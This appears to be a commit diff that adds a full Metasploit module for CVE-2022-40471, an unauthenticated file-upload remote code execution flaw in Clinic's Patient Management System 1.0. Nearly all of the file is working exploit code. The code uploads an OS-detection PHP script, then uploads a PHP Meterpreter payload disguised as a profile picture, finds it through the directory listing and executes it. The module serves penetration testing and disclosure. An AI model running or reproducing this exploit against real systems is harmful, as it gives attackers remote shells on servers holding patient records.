|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + include Msf::Exploit::Remote::HttpClient |
| 9 | + include Msf::Exploit::PhpEXE |
| 10 | + include Msf::Exploit::FileDropper |
| 11 | + |
| 12 | + def initialize(info = {}) |
| 13 | + super( |
| 14 | + update_info( |
| 15 | + info, |
| 16 | + 'Name' => 'Clinic\'s Patient Management System 1.0 - Unauthenticated RCE', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits an unauthenticated file upload vulnerability in Clinic's |
| 19 | + Patient Management System 1.0. An attacker can upload a PHP web shell and execute |
| 20 | + it by leveraging directory listing enabled on the `/pms/user_images` directory. |
| 21 | + }, |
| 22 | + 'Author' => [ |
| 23 | + 'Aaryan Golatkar', # Metasploit Module Developer |
| 24 | + 'Oğulcan Hami Gül', # Vulnerability discovery |
| 25 | + ], |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Platform' => 'php', |
| 28 | + 'Arch' => ARCH_PHP, |
| 29 | + 'Privileged' => false, |
| 30 | + 'Targets' => [ |
| 31 | + ['Clinic Patient Management System 1.0', {}] |
| 32 | + ], |
| 33 | + 'DefaultTarget' => 0, |
| 34 | + 'References' => [ |
| 35 | + ['EDB', '51779'], |
| 36 | + ['CVE', '2022-40471'], |
| 37 | + ['URL', 'https://www.cve.org/CVERecord?id=CVE-2022-40471'], |
| 38 | + ['URL', 'https://drive.google.com/file/d/1m-wTfOL5gY3huaSEM3YPSf98qIrkl-TW/view'] |
| 39 | + ], |
| 40 | + 'DisclosureDate' => '2022-10-31', |
| 41 | + 'Notes' => { |
| 42 | + 'Stability' => [CRASH_SAFE], |
| 43 | + 'Reliability' => [REPEATABLE_SESSION], |
| 44 | + 'SideEffects' => [ARTIFACTS_ON_DISK] |
| 45 | + } |
| 46 | + ) |
| 47 | + ) |
| 48 | + |
| 49 | + register_options([ |
| 50 | + OptString.new('TARGETURI', [true, 'Base path to the Clinic Patient Management System', '/pms']), |
| 51 | + OptInt.new('LISTING_DELAY', [true, 'Time to wait before retrieving directory listing (seconds)', 2]), |
| 52 | + OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', false]) |
| 53 | + ]) |
| 54 | + end |
| 55 | + |
| 56 | + def check |
| 57 | + print_status('Checking if target is vulnerable...') |
| 58 | + |
| 59 | + # Step 1: Retrieve PHPSESSID |
| 60 | + vprint_status('Fetching PHPSESSID from the server...') |
| 61 | + res_session = send_request_cgi({ |
| 62 | + 'uri' => normalize_uri(target_uri.path, 'users.php'), |
| 63 | + 'method' => 'GET' |
| 64 | + }) |
| 65 | + |
| 66 | + unless res_session && res_session.code == 302 && res_session.respond_to?(:get_cookies) |
| 67 | + print_error('Server connect error. Couldn\'t connect or get necessary information - try to check your options.') |
| 68 | + return CheckCode::Unknown |
| 69 | + end |
| 70 | + |
| 71 | + phpsessid = res_session.get_cookies.match(/PHPSESSID=([^;]+)/) |
| 72 | + if phpsessid.nil? |
| 73 | + print_error('Failed to retrieve PHPSESSID. Target may not be vulnerable.') |
| 74 | + return CheckCode::Unknown |
| 75 | + else |
| 76 | + phpsessid = phpsessid[1] |
| 77 | + vprint_good("Obtained PHPSESSID: #{phpsessid}") |
| 78 | + end |
| 79 | + |
| 80 | + # Step 2: Attempt File Upload |
| 81 | + dummy_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.png" |
| 82 | + dummy_content = Rex::Text.rand_text_alphanumeric(20) |
| 83 | + dummy_name = Rex::Text.rand_text_alphanumeric(6) |
| 84 | + post_data = Rex::MIME::Message.new |
| 85 | + post_data.add_part(dummy_name, nil, nil, 'form-data; name="display_name"') |
| 86 | + post_data.add_part(dummy_name, nil, nil, 'form-data; name="user_name"') |
| 87 | + post_data.add_part(dummy_name, nil, nil, 'form-data; name="password"') |
| 88 | + post_data.add_part(dummy_content, 'text/plain', nil, "form-data; name=\"profile_picture\"; filename=\"#{dummy_filename}\"") |
| 89 | + post_data.add_part('', nil, nil, 'form-data; name="save_user"') |
| 90 | + |
| 91 | + vprint_status("Uploading dummy file #{dummy_filename}...") |
| 92 | + res_upload = send_request_cgi({ |
| 93 | + 'uri' => normalize_uri(target_uri.path, 'users.php'), |
| 94 | + 'method' => 'POST', |
| 95 | + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", |
| 96 | + 'data' => post_data.to_s, |
| 97 | + 'cookie' => "PHPSESSID=#{phpsessid}" |
| 98 | + }) |
| 99 | + |
| 100 | + unless res_upload && res_upload.code == 302 |
| 101 | + print_error('File upload attempt failed. Target may not be vulnerable.') |
| 102 | + return CheckCode::Safe |
| 103 | + end |
| 104 | + vprint_good('Dummy file uploaded successfully.') |
| 105 | + |
| 106 | + # Step 3: Verify File in Directory Listing |
| 107 | + vprint_status('Verifying uploaded file in /pms/user_images...') |
| 108 | + res_listing = send_request_cgi({ |
| 109 | + 'uri' => normalize_uri(target_uri.path, 'user_images/'), |
| 110 | + 'method' => 'GET', |
| 111 | + 'cookie' => "PHPSESSID=#{phpsessid}" |
| 112 | + }) |
| 113 | + |
| 114 | + if res_listing && res_listing.code == 200 && !res_listing.body.nil? && res_listing.body&.include?(dummy_filename) |
| 115 | + vprint_good("File #{dummy_filename} found in /pms/user_images. Target is vulnerable!") |
| 116 | + CheckCode::Vulnerable |
| 117 | + else |
| 118 | + vprint_error("File #{dummy_filename} not found in /pms/user_images. Target may not be vulnerable.") |
| 119 | + CheckCode::Unknown |
| 120 | + end |
| 121 | + end |
| 122 | + |
| 123 | + def upload_shell |
| 124 | + random_user = Rex::Text.rand_text_alphanumeric(8) |
| 125 | + random_password = Rex::Text.rand_text_alphanumeric(12) |
| 126 | + detection_basename = Rex::Text.rand_text_alphanumeric(8).to_s |
| 127 | + detection_filename = "#{detection_basename}.php" |
| 128 | + |
| 129 | + # Step 1: Detect the OS |
| 130 | + detection_script = <<~PHP |
| 131 | + <?php |
| 132 | + echo PHP_OS . "\\n"; |
| 133 | + ?> |
| 134 | + PHP |
| 135 | + |
| 136 | + vprint_status("Uploading OS detection script as #{detection_filename}...") |
| 137 | + post_data = Rex::MIME::Message.new |
| 138 | + post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"') |
| 139 | + post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"') |
| 140 | + post_data.add_part(random_password, nil, nil, 'form-data; name="password"') |
| 141 | + post_data.add_part(detection_script, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{detection_filename}\"") |
| 142 | + post_data.add_part('', nil, nil, 'form-data; name="save_user"') |
| 143 | + |
| 144 | + res = send_request_cgi({ |
| 145 | + 'uri' => normalize_uri(target_uri.path, 'users.php'), |
| 146 | + 'method' => 'POST', |
| 147 | + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", |
| 148 | + 'data' => post_data.to_s |
| 149 | + }) |
| 150 | + |
| 151 | + fail_with(Failure::UnexpectedReply, 'Failed to upload OS detection script') unless res && res.code == 302 |
| 152 | + vprint_good('OS detection script uploaded successfully!') |
| 153 | + |
| 154 | + # Step 2: Retrieve the actual uploaded filename |
| 155 | + vprint_status('Retrieving directory listing to identify detection script...') |
| 156 | + sleep datastore['LISTING_DELAY'] |
| 157 | + |
| 158 | + res_listing = send_request_cgi({ |
| 159 | + 'uri' => normalize_uri(target_uri.path, 'user_images/'), |
| 160 | + 'method' => 'GET' |
| 161 | + }) |
| 162 | + |
| 163 | + fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200 |
| 164 | + |
| 165 | + match = res_listing.body&.match(/<a href="(\d+#{Regexp.escape(detection_basename)}\w*\.php)"/) |
| 166 | + fail_with(Failure::NotFound, 'Uploaded OS detection script not found in directory listing') if match.nil? |
| 167 | + |
| 168 | + actual_detection_filename = match[1] |
| 169 | + vprint_status("Detected script filename: #{actual_detection_filename}") |
| 170 | + |
| 171 | + # Step 3: Execute the detection script |
| 172 | + detection_url = normalize_uri(target_uri.path, 'user_images', actual_detection_filename) |
| 173 | + vprint_status("Executing OS detection script at #{detection_url}...") |
| 174 | + res = send_request_cgi({ |
| 175 | + 'uri' => detection_url, |
| 176 | + 'method' => 'GET' |
| 177 | + }) |
| 178 | + |
| 179 | + fail_with(Failure::UnexpectedReply, 'Failed to execute OS detection script') unless res && res.code == 200 && !res.body.nil? |
| 180 | + detected_os = res.body.strip.downcase |
| 181 | + vprint_status("Detected OS: #{detected_os}") |
| 182 | + |
| 183 | + # Step 4: Choose payload based on OS |
| 184 | + if detected_os.include?('win') |
| 185 | + payload_content = get_write_exec_payload |
| 186 | + print_status('Target is Windows. Using standard PHP Meterpreter payload.') |
| 187 | + else |
| 188 | + payload_content = get_write_exec_payload(unlink_self: true) |
| 189 | + print_status('Target is Linux/Unix. Using PHP Meterpreter payload with unlink_self.') |
| 190 | + end |
| 191 | + |
| 192 | + # Step 5: Upload the payload |
| 193 | + random_user = Rex::Text.rand_text_alphanumeric(8) |
| 194 | + random_password = Rex::Text.rand_text_alphanumeric(12) |
| 195 | + payload_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.php" |
| 196 | + |
| 197 | + vprint_status("Uploading PHP Meterpreter payload as #{payload_filename}...") |
| 198 | + |
| 199 | + post_data = Rex::MIME::Message.new |
| 200 | + post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"') |
| 201 | + post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"') |
| 202 | + post_data.add_part(random_password, nil, nil, 'form-data; name="password"') |
| 203 | + post_data.add_part(payload_content, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{payload_filename}\"") |
| 204 | + post_data.add_part('', nil, nil, 'form-data; name="save_user"') |
| 205 | + |
| 206 | + res = send_request_cgi({ |
| 207 | + 'uri' => normalize_uri(target_uri.path, 'users.php'), |
| 208 | + 'method' => 'POST', |
| 209 | + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", |
| 210 | + 'data' => post_data.to_s |
| 211 | + }) |
| 212 | + |
| 213 | + fail_with(Failure::UnexpectedReply, 'Failed to upload PHP payload') unless res && res.code == 302 |
| 214 | + print_good('Payload uploaded successfully!') |
| 215 | + |
| 216 | + # Verify the presence of the uploaded file in the directory listing |
| 217 | + vprint_status('Retrieving directory listing to confirm the uploaded payload...') |
| 218 | + sleep datastore['LISTING_DELAY'] # Allow time for the file to appear on the server |
| 219 | + |
| 220 | + res_listing = send_request_cgi({ |
| 221 | + 'uri' => normalize_uri(target_uri.path, 'user_images/'), |
| 222 | + 'method' => 'GET' |
| 223 | + }) |
| 224 | + |
| 225 | + fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200 |
| 226 | + |
| 227 | + # Search for the uploaded filename |
| 228 | + match = res_listing.body&.match(/href="(\d+#{Regexp.escape(payload_filename)})"/) |
| 229 | + fail_with(Failure::NotFound, 'Uploaded file not found in directory listing') if match.nil? |
| 230 | + |
| 231 | + actual_filename = match[1] |
| 232 | + vprint_good("Verified payload presence: #{actual_filename}") |
| 233 | + register_file_for_cleanup(actual_detection_filename, actual_filename) if datastore['DELETE_FILES'] |
| 234 | + actual_filename |
| 235 | + end |
| 236 | + |
| 237 | + def exploit |
| 238 | + # Upload the shell and retrieve its filename |
| 239 | + uploaded_filename = upload_shell |
| 240 | + |
| 241 | + # Construct the URL for the uploaded shell |
| 242 | + shell_url = normalize_uri(target_uri.path, 'user_images', uploaded_filename) |
| 243 | + print_status("Executing the uploaded shell at #{shell_url}...") |
| 244 | + |
| 245 | + # Execute the uploaded shell |
| 246 | + send_request_raw({ 'uri' => shell_url, 'method' => 'GET' }) |
| 247 | + end |
| 248 | +end |
0 commit comments